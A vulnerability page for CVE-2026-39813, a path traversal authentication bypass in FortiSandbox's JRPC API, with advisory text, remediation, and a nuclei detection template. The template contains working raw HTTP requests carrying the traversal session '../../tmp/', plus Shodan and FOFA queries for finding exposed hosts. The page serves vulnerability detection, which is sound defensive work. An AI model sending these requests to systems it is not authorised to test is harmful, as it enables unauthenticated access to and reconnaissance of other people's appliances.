Browse / CVEs / CVE-2026-39813
CVE-2026-39813· fortinet / fortisandbox· CWE-24
Fortinet FortiSandbox - Path Traversal Authentication Bypass
A path traversal vulnerability (CWE-24) in the FortiSandbox JRPC API is_valid_session() function allows an unauthenticated attacker to bypass authentication. The user-supplied session value is passed to os.path.join() without validation. A session of "../../tmp/" resolves to /tmp/, which always exists and has a recent mtime, so the session check succeeds. This grants unauthenticated access to read-only JRPC methods such as sys/status (version, hostname, serial number, and resource usage). Affects FortiSandbox 4.4.0 through 4.4.8 and 5.0.0 through 5.0.5. Fixed in 4.4.9 and 5.0.6 (FG-IR-26-112). The patched is_valid_session() accepts only 32-character hexadecimal session IDs.
Impact
An unauthenticated attacker can bypass JRPC authentication and retrieve sensitive system information, and may escalate privileges via further crafted HTTP requests.
Fix
Upgrade FortiSandbox to 4.4.9 or later, or 5.0.6 or later. If immediate upgrade is not possible, restrict access to the /jsonrpc/ endpoint and block JRPC requests containing path-traversal sequences.
How to confirm it
Send: POST /fortisandbox/jsonrpc/ ; POST /jsonrpc/
Positive when: contains "\"Serial-Number\"" and "\"status\"" and "\"result\"" AND contains in header "application/json"Run it with nuclei: nuclei -id CVE-2026-39813 -u <target>. This check is not marked as verified by its authors.
The full check
id: CVE-2026-39813
info:
name: Fortinet FortiSandbox - Path Traversal Authentication Bypass
author: ritikchaddha
severity: critical
description: |
A path traversal vulnerability (CWE-24) in the FortiSandbox JRPC API is_valid_session() function allows an unauthenticated attacker to bypass authentication. The user-supplied session value is passed to os.path.join() without validation. A session of "../../tmp/" resolves to /tmp/, which always exists and has a recent mtime, so the session check succeeds. This grants unauthenticated access to read-only JRPC methods such as sys/status (version, hostname, serial number, and resource usage). Affects FortiSandbox 4.4.0 through 4.4.8 and 5.0.0 through 5.0.5. Fixed in 4.4.9 and 5.0.6 (FG-IR-26-112). The patched is_valid_session() accepts only 32-character hexadecimal session IDs.
impact: |
An unauthenticated attacker can bypass JRPC authentication and retrieve sensitive system information, and may escalate privileges via further crafted HTTP requests.
remediation: |
Upgrade FortiSandbox to 4.4.9 or later, or 5.0.6 or later. If immediate upgrade is not possible, restrict access to the /jsonrpc/ endpoint and block JRPC requests containing path-traversal sequences.
reference:
- https://rustlang.rs/posts/blog_cve_2026_39813_en/
- https://fortiguard.fortinet.com/psirt/FG-IR-26-112
- https://www.csa.gov.sg/alerts-and-advisories/alerts/al-2026-038/
- https://nvd.nist.gov/vuln/detail/CVE-2026-39813
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2026-39813
cwe-id: CWE-24
epss-score: 0.44014
epss-percentile: 0.98771
cpe: cpe:2.3:a:fortinet:fortisandbox:*:*:*:*:*:*:*:*
metadata:
max-request: 2
vendor: fortinet
product: fortisandbox
shodan-query: title:"FortiSandbox"
fofa-query: title="FortiSandbox"
tags: cve,cve2026,fortinet,fortisandbox,lfi,traversal,auth-bypass,vkev
http:
- raw:
- |
POST /fortisandbox/jsonrpc/ HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
data={"id":1,"session":"../../tmp/","method":"get","params":[{"url":"sys/status"}],"ver":"2.0"}
- |
POST /jsonrpc/ HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
data={"id":1,"session":"../../tmp/","method":"get","params":[{"url":"sys/status"}],"ver":"2.0"}
stop-at-first-match: true
matchers-condition: and
matchers:
- type: word
part: body
words:
- '"Serial-Number"'
- '"status"'
- '"result"'
condition: and
- type: word
part: header
words:
- "application/json"References
- https://rustlang.rs/posts/blog_cve_2026_39813_en/
- https://fortiguard.fortinet.com/psirt/FG-IR-26-112
- https://www.csa.gov.sg/alerts-and-advisories/alerts/al-2026-038/
- https://nvd.nist.gov/vuln/detail/CVE-2026-39813
Use this check only on systems you are authorised to test. Where the data comes from